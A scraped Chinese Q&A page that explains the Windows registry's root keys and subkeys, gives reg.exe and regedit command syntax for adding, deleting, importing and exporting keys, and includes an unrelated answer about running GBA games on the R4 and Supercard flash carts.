主键值是你现在的时区;子键定义了所以可能的时区。 16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句) HKEY_LOCAL_MACHINESYSTEMCurrentControlSet 这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl 这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitrators atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClass class键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesinetaccs 这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32 msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32 nenp32键描述了windows客户如何在netware网络中工作功能,它包括了关于认证过程和证明者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess 在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP 这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxD vxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPost webpost键包括了所有装载的internet邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock 这个键列出了当连接到internet上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上internet。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrust wintrust功能是检查从Internet上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。 HKEY_CLASSES_ROOT 在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。 HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息,在Win95和Winnt中,HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESoftwareClasses是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置,相反的,他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。 在Windows用户图形界面下,每件事----每个文件,每个目录,每个小程序,每个连接,每个驱动---都被看做一个对象;每个对象都有确定的属性和它联系。HKCR包含着对象类型和它们属性的列表。HKCR主要的功能被设置为: 一个对象类型和一个文件扩展名关联 一个对象类型和一种图标关联 一个对象类型和一个命令行动作的关联 定义对象类型相关菜单选项和定义每一个对象类型属性选项 在Win95中,相关菜单就是当你鼠标右击一个对象时所弹出的菜单;属性就是当你选择属性项后一个展开的对话框。用简单术语来说就是在改变HKCR中的设置可以改变一个给定文件扩展名缺省的关联。改变一个文件类型的缺省图标,和添加或者删除给定对象类型的弹出菜单内容(或者所有的对象类型) HKCR包括了三种基本类型的子键 ??? 或者文件扩展名子键 文件扩展名子键在弹出菜单上连接文件扩展名到对象类型和相关操作,属性项,和相关操作。 object 类型子键 对象类型子键定义了一个对象类型在它缺省图标的项,它的弹出菜单和属性项,它的相关操作和它的CLSID连接。 CLSID 子键 在Windows下每件事都被用一个数字取代它的名字来对待。就象人往往是用名字来处理事情一样。CLSID是标识所有列出的图标,应用程序,目录,文件类型等等对象的数字。是微软为制造商分配的,每一个都必须是唯一的。制造商将CLSID放入安装程序文件这样就可以在安装时更新注册表。 注册表是应用程序进行时它们需要关于做什么的指示的数据库。比如说,假定你有一个微软Excel 7电子数据表的Word 7文档,当你在Word中双击这个电子数据表,应用程序菜单就会变成Excel的菜单而且电子数据表进入编辑状态,就好象你在Excel中一样。它是如何知道该做什么呢?每个Excel 7创建的文件都有Excel的CLSID连接。Word读这个CLSID后,到注册表中寻找指示,依赖CLSID下的数据运行.DLL文件或者应用程序。 CLSID子键为对象类型提供了OLE和DDE信息和图标。相关菜单,或者包含在它子键中的属性项信息。这个可能是多数让人看到后觉得“恐怖”的键。每个CLSID数必须是唯一的,实际上,为了这个目的微软已经出产了CLSID-产生程序--这个结果导致你往往得到32位16进制的数字串,除非你是程序员,否则多数部分键看起来是很枯燥的。它们包括内存管理模式,客户机/服务器配置,和OLE处理的.dll连接。 关于子键的一点注解 1)shell:Shell键有个一”action“子键,如同”open“一样,这里有一个command子键;command子键有一个缺省句值,它包含了运行程序的
2023-07-20 11:20:005

reg命令怎么用

你是要把REG文件导入注册表吗??? 如果是,命令如下 regedit /s yours.reg (yours,reg就是你的REG文件,注意你文件存放的路径)
2023-07-20 11:20:161

关于注册表的

在注册表编辑器中注册表项是用控制键来显示或者编辑的。控制键使得找到和编辑信息项组更容易。因此,注册表使用这些条目。下面是六个控制键 (Windows NT以前的系统) HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_DYN_DATA (基于Windows NT的系统没有这一项) HKEY_USERS HKEY_CURRENT_USER Winnt和Win95的注册表并不兼容。从Win95向Winnt升级需要你重新安装32位应用程序,重新在桌面上创建图标,并重新建立用户环境。 通过控制键可以比较容易编辑注册表。虽然它们显示和编辑好像独立的键,其实HKEY_CLASSES_ROOT 和HKEY_CURRENT_CONFIG是 HKEY_LOCAL_MACHINE的一部分。HKEY_CURRENT_USER是HKEY_USERS的一部分。 HKEY_LOCAL_MACHINE包含了HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG的所有内容。每次计算机启动时,HKEY_CURRENT_CONFIG和HKEY_CLASSES_ROOT的信息被映射用以查看和编辑。 HKEY_CLASSES_ROOT其实就是HKEY_LOCAL_MACHINESOFTWAREClasses,但是在HKEY_CLASSES_ROOT窗编辑相对来说显得更容易和有条理。 HKEY_USERS保存着缺省用户信息和当前登陆用户信息。当一个域成员计算机启动并且一个用户登陆,域控制器自动将信息发送到HKEY_CURRENT_USER里,而且HKEY_CURRENT_USER信息被映射到系统内存中。其他用户的信息并不发送到系统,而是记录在域控制器里。 键和子键 数据被分割成多层次的键和子键,建立分层次(就象Exploer一样)结构更易于编辑。每个键有成组的信息而且根据在其中的数据类型被命名。每个键在它的文件夹图标上都有一个加号(+)标志子键说明在它下面还有更多内容的东西。当点开它的时候,文件夹的加号标志被替换成一个减号(-)标志,然后显示出下一级的子键。 所有软件,硬件,windows工作的设置都存放在HKEY_LOCAL_MACHINE。所有安全策略,用户权限和共享信息也包括在这个键中。用户权限,安全策略,共享信息可以通过Windows NT域用户管理器,Explorer和Win95中控制面板来设置。 HKEY_CLASSES_ROOT (是HKLM\Classes的映射) HKEY_CLASSES_ROOT包含了所有应用程序运行时必需的信息: 在文件和应用程序之间所有的扩展名和关联; 所有的驱动程序名称; 类的ID数字(所要存取项的名字用数字来代替); DDE和OLE的信息; 用于应用程序和文件的图标; HKEY_CURRENT_CONFIG. HKEY_CURRENT_CONFIG是在HKEY_LOCAL_MACHINE中当前硬件配置信息的映射。如果系统只有一个配置文件,也就是原始配置,数据将一直在同样的地方。在控制面板|系统|硬件配置文件|创建一个额外的配置使额外配置信息放入HKEY_LOCAL_MACHINE。当Win95中存在多个配置文件时,当每次计算机启动时将给出一个提示让你选择一个配置文件。在Winnt中,在启动时你可以按空格键来选择上次正常启动时硬件配置文件。根据硬件配置文件选择的不同,特定的信息被映射到HKEY_CURRENT_CONFIG。 HKEY_DYN_DATA (基于Windows NT的系统没有这一项) HKEY_DYN_DATA和其他的注册表控制键不同,因为实际上它并不被写入硬盘驱动器中。Win95的一个优点是,在系统启动时HKEY_DYN_DATA这个控制键储存收集到的即插即用信息并配置它们。它保存在内存中,Win95用它来控制硬件。因为是在内存中,所以它不从硬盘中读取,每次当你启动计算机时,配置都有可能会不一样。在启动时Win95必须计算超过1600种可能的配置。所以,如果系统改变既定的设置而没有报告给Win95那么潜在的问题就可能发生。系统大多数时间工作良好,但是并非一直如此。 在基于Windows NT的系统中取消了这一键值,而代之以HKLM\HARDWARE,该键值在系统启动时由系统扫描硬件配置而动态创建 HKEY_USERS HKEY_USERS仅包含了缺省用户设置和登陆用户的信息。虽然它包含了所有独立用户的设置,但在用户未登陆网络时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。 在基于Windows NT的系统中,当用户打开该根键时里面包含如下内容: 1. .DEFAULT (缺省用户配置文件) 2. S-1-5-18 (本地系统帐户,NT AUTHORITY\SYSTEM,所有用户帐户都由安全标识符——SID表示,下同) 3. S-1-5-19 (本地服务帐户,NT AUTHORITY\LocalService) 4. S-1-5-19.Classes (本地服务帐户的OLE信息) 5. S-1-5-20 (网络服务帐户,NT AUTHORITY\NETWORK SERVICE) 6. S-1-5-20.Classes (网络服务帐户的OLE信息) 7.当前登录用户的SID 8.当前登录用户的SID.Classes 七、八两项可以通过HKCU直接进入 HKEY_CURRENT_USER 用来保存当前用户和缺省用户的信息,HKEY_CURRENT_USER仅映射当前登陆用户的信息。编辑本段各主键的简单介绍 HKEY_LOCAL_MACHINE HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。(比如文件的位置,注册和未注册的状态,版本号等等)这些设置和用户无关,因为这些设置是针对使用这个系统的所有用户的。 HKEY_LOCAL_MACHINEAppEvents 为了以后在客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。 HKEY_LOCAL_MACHINEConfig 这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键 HKEY_LOCAL_MACHINEConfig01Display 这个键表示显示的设置,如荧屏字体,窗体大小,窗体位置和分辨率等 一个小技巧:当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏),可以修改分辨率来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率,然后重新启动计算机即可。 HKEY_LOCAL_MACHINEConfig01System 这个键保存着系统里打印机的信息 HKEY_LOCAL_MACHINEConfig01SystemCurrentControlSetControlPrintPrinters 在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表 HKEY_LOCAL_MACHINEEnum Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。 HKEY_LOCAL_MACHINEEnumBIOS BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中 HKEY_LOCAL_MACHINEEnumRoot Root键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。 HKEY_LOCAL_MACHINEEnumNetwork win95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。 HKEY_LOCAL_MACHINEHARDWARE hardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。 HKEY_LOCAL_MACHINENetwork 这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNetwork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。 HKEY_LOCAL_MACHINESECURITY security 有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上 HKEY_LOCAL_MACHINESOFTWARE 这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。 我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键: 1.App paths: 你曾经安装过的所有32位软件的位置。 2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。 3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。 4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。 5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。 6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。 7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。 8.Network :网络驱动的配置。 9.Nls, Policies :系统管理员认为你不应该去做的事。 10.ProfileList :所有可以登陆你计算机的用户名列表。 11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。 Run : 程序在启动时运行 RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。 RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。 RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。 注意:在很多黑客木马软件中,常常在这里添加键值(一般是在Run中),这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序(比如我就很不喜欢超级解霸的自动伺服器,在这里可以去掉它)。 12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。 13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。 14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。 15.Time Zones : 主键值是你现在的时区;子键定义了所以可能的时区。 16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句) HKEY_LOCAL_MACHINESYSTEMCurrentControlSet 这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl 这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitrators atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClass class键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesinetaccs 这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32 msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32 nenp32键描述了windows客户如何在netware网络中工作功能,它包括了关于认证过程和证明者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess 在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP 这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxD vxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPost webpost键包括了所有装载的internet邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock 这个键列出了当连接到internet上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上internet。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrust wintrust功能是检查从Internet上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。 HKEY_CLASSES_ROOT 在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。 HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息,在Win95和Winnt中,HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESoftwareClasses是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置,相反的,他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。 在Windows用户图形界面下,每件事----每个文件,每个目录,每个小程序,每个连接,每个驱动---都被看做一个对象;每个对象都有确定的属性和它联系。HKCR包含着对象类型和它们属性的列表。HKCR主要的功能被设置为: 一个对象类型和一个文件扩展名关联 一个对象类型和一种图标关联 一个对象类型和一个命令行动作的关联 定义对象类型相关菜单选项和定义每一个对象类型属性选项 在Win95中,相关菜单就是当你鼠标右击一个对象时所弹出的菜单;属性就是当你选择属性项后一个展开的对话框。用简单术语来说就是在改变HKCR中的设置可以改变一个给定文件扩展名缺省的关联。改变一个文件类型的缺省图标,和添加或者删除给定对象类型的弹出菜单内容(或者所有的对象类型) HKCR包括了三种基本类型的子键 ??? 或者文件扩展名子键 文件扩展名子键在弹出菜单上连接文件扩展名到对象类型和相关操作,属性项,和相关操作。 object 类型子键 对象类型子键定义了一个对象类型在它缺省图标的项,它的弹出菜单和属性项,它的相关操作和它的CLSID连接。 CLSID 子键 在Windows下每件事都被用一个数字取代它的名字来对待。就象人往往是用名字来处理事情一样。CLSID是标识所有列出的图标,应用程序,目录,文件类型等等对象的数字。是微软为制造商分配的,每一个都必须是唯一的。制造商将CLSID放入安装程序文件这样就可以在安装时更新注册表。 注册表是应用程序进行时它们需要关于做什么的指示的数据库。比如说,假定你有一个微软Excel 7电子数据表的Word 7文档,当你在Word中双击这个电子数据表,应用程序菜单就会变成Excel的菜单而且电子数据表进入编辑状态,就好像你在Excel中一样。它是如何知道该做什么呢?每个Excel 7创建的文件都有Excel的CLSID连接。Word读这个CLSID后,到注册表中寻找指示,依赖CLSID下的数据运行.DLL文件或者应用程序。 CLSID子键为对象类型提供了OLE和DDE信息和图标。相关菜单,或者包含在它子键中的属性项信息。这个可能是多数让人看到后觉得“恐怖”的键。每个CLSID数必须是唯一的,实际上,为了这个目的微软已经出产了CLSID-产生程序--这个结果导致你往往得到32位16进制的数字串,除非你是程序员,否则多数部分键看起来是很枯燥的。它们包括内存管理模式,客户机/服务器配置,和OLE处理的.dll连接。
2023-07-20 11:20:231

R4点入gba game??

R4官方问答 只可以做引导 可以引导 GBA 端烧录卡 Q:R4 支持 GBA 游戏吗? A:当前所有的 Slot-1 烧录卡均不支持 GBA 游戏运行, R4 也不支持。 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 只系R4系吾可以玩GBA game(所谓可以入gba gameTF卡入咩都得不过用吾到) 要玩GBA game就要加Slot-1 烧录卡(GBA卡槽ge 烧录卡) 如:EZ 3in1/ SuperCard系列ge卡~chn.supercard/ ~约$130 如果只系玩gba选SUPERCARD SD较好功能多D SUPER CARD GBA 功能简介 四大梦幻功能: 1. 即时存档 无限复活 不怕失手 随时重玩 即时存档也有叫实时存档,英文名叫:Real Time Save。其它烧录卡可没有这个功能喔。这功功能 可在游戏中任意时刻将当前游戏状态保存下来,一但游戏失败,或关机后想在下次同一地方开始,只需要读出上次存的即时存档就可以马上复活或恢复继续游戏了, 是玩家梦寐以求的功能。 2. 支持压缩 巨大容量 想要多大 就有多大 由于使用的是SD卡做为游戏的存贮空间,想要多大的空间就看SD卡有多大了,而且SD卡按容量计算是一般烧录卡的8倍,比如一片128M的SD卡是相当于1G烧录卡的容量。 3. 边玩游戏 边看攻略 攻略游戏 随意切换 这又是SC的一个超强梦幻功能,其它烧录卡可没有这个功能喔。可以在用转换软件转换游戏的时候,可以在游戏中附加一个文本文件,这个文本文件当然可以是游 戏攻略啦。在玩游戏的时候,只需要按L+R+B+START四个键,就能马上切换到文本画面,看了攻略后,按一下B链,马上又切换回游戏继续玩啦。 4. 无须烧录 U 盘速度 无需驱动 即插即用 SD卡和SD读卡器,本来就是U盘啦,所以SC卡没有烧录的概念,只需将转换好的游戏拷贝到SD卡上就行了,U盘的读写速度当然快啦,这也是其它烧录卡望尘莫及的。 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ EZ 3 in 1 扩展卡 (支持 GBA 震动卡 浏览器) 所有 Slot1 卡都用到 入game系放系R4的TF卡开『GBA』file 图片参考:xs315.xs.to/xs315/07195/3in1 [转] EZ 3 in1 扩展卡 使用方法 版权属 HKCC - 中国中国香港游戏机资讯网 作者: 阿定 原文网址: hacken.cc/bbs/viewthread?tid=128993 转贴请注明出处、作者、原文网址
2023-07-20 11:20:311

reg命令基础指令有哪些,什么形式,什么功能?(请高手回答,谢谢)

reg命令是WindowsXP提供的,它可以添加、更改和显示注册表项中的注册表子项信息和值。 reg add 将新的子项或项添加到注册表中。 语法:reg add KeyName [/v EntryName|/ve] [/t DataType] [/s separator] [/d value] [/f] 参数 KeyName 指定子项的完全路径。对于远程计算机,请在 \ComputerNamePathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默 认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。 /v EntryName 指定要添加到指定子项下的项名称。 /ve 指定添加到注册表中的项为空值。 /t DataType 指定项值的数据类型。DataType 可以是以下几种类型: REG_SZ REG_MULTI_SZ REG_DWORD_BIG_ENDIAN REG_DWORD REG_BINARY REG_DWORD_LITTLE_ENDIAN REG_LINK REG_FULL_RESOURCE_DESCRIPTOR REG_EXPAND_SZ /s separator 指定用于分隔多个数据实例的字符。当 REG_MULTI_SZ 指定为数据类型且需要列出多个项时,请使用该参数。如果没有指定,将使用默认分隔 符为。 /d value 指定新注册表项的值。 /f 不用询问信息而直接添加子项或项。 /? 在命令提示符显示帮助。 注释 该操作不能添加子树。该版本的 Reg 在添加子项时无需请求确认。
2023-07-20 11:20:391

批处理文件修改注册表键值的语句怎么写?

再用下面的命令前,要确定你的系统"system32"目录下有"reg.exe"这个文件,如果你的系统里没有可以再联系我发给你。\加入或修改以有键或键值项REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f] KeyName [\Machine]FullKey Machine 远程机器名 - 忽略默认到当前机器。远程机器上 只有 HKLM 和 HKU。 FullKey ROOTKEYSubKey ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] SubKey 所选 ROOTKEY 下注册表项的完整名。 /v 所选项之下要添加的值名。 /ve 为注册表项添加空白值名(默认)。 /t RegKey 数据类型 [ REG_SZ | REG_MULTI_SZ | REG_EXPAND_SZ | REG_DWORD | REG_QWORD | REG_BINARY | REG_NONE ] 如果忽略,则采用 REG_SZ。 /s 指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符 如果忽略,则将 "" 用作分隔符。 /d 要分配给添加的注册表 ValueName 的数据。 /f 不用提示就强行覆盖现有注册表项。例如: REG ADD \ABCHKLMSoftwareMyCo 添加远程机器 ABC 上的一个注册表项 HKLMSoftwareMyCo REG ADD HKLMSoftwareMyCo /v Data /t REG_BINARY /d fe340ead 添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead) REG ADD HKLMSoftwareMyCo /v MRU /t REG_MULTI_SZ /d faxmail 添加一个值(名称: MRU,类型: REG_MUTLI_SZ,数据: faxmail) REG ADD HKLMSoftwareMyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^% 添加一个值(名称: Path,类型: REG_EXPAND_SZ,数据: %systemroot%) 注意: 在扩充字符串中使用插入符号 ( ^ )\删除键或键值项REG DELETE KeyName [/v ValueName | /ve | /va] [/f] KeyName [\Machine]FullKey Machine 远程机器名 - 忽略当前机器的默认值。 远程机器上只有 HKLM 和 HKU。 FullKey ROOTKEYSubKey ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] SubKey 所选 ROOTKEY 下的注册表项的全名。 ValueName 所选项下的要删除的值的名称。 省略时,该项下的所有子项和值都会被删除。 /ve 删除空白值名称的值(默认)。 /va 删除该项下的所有值。 /f 不用提示就强行删除。例如: REG DELETE HKLMSoftwareMyCoMyAppTimeout 删除注册表项 Timeout 及其所有子项和值 REG DELETE \ZODIACHKLMSoftwareMyCo /v MTU 删除 ZODIAC 上 MyCo 下的注册表项 MTU\从REG文件导入到注册表REG IMPORT FileName FileName 要导入的磁盘文件名(只是本地机器)。例如: REG IMPORT AppBkUp.reg 从文件 AppBkUp.reg 导入注册表项\导出注册键到指定文件REG EXPORT KeyName FileName Keyname ROOTKEY[SubKey] (只是本地机器)。 ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] SubKey 所选 ROOTKEY 下的注册表项的全名。 FileName 要导出的磁盘文件名。 /y 不用提示就强行覆盖现有文件。例如: REG EXPORT HKLMSoftwareMyCoMyApp AppBkUp.reg 将注册表项 MyApp 的所有子项和值导出到文件 AppBkUp.reg建议你如果要做的修改内容比较多的话,可以先编辑成".reg"文件,然后用"reg import"命令导入,这样以后也只要修改REG文件就行了。而且这时也可以用regedit这个命令,如下:"regedit.exe /s test.reg"参数"/s"是不提示,支持导入到注册表。希望能帮到你。
2023-07-20 11:20:475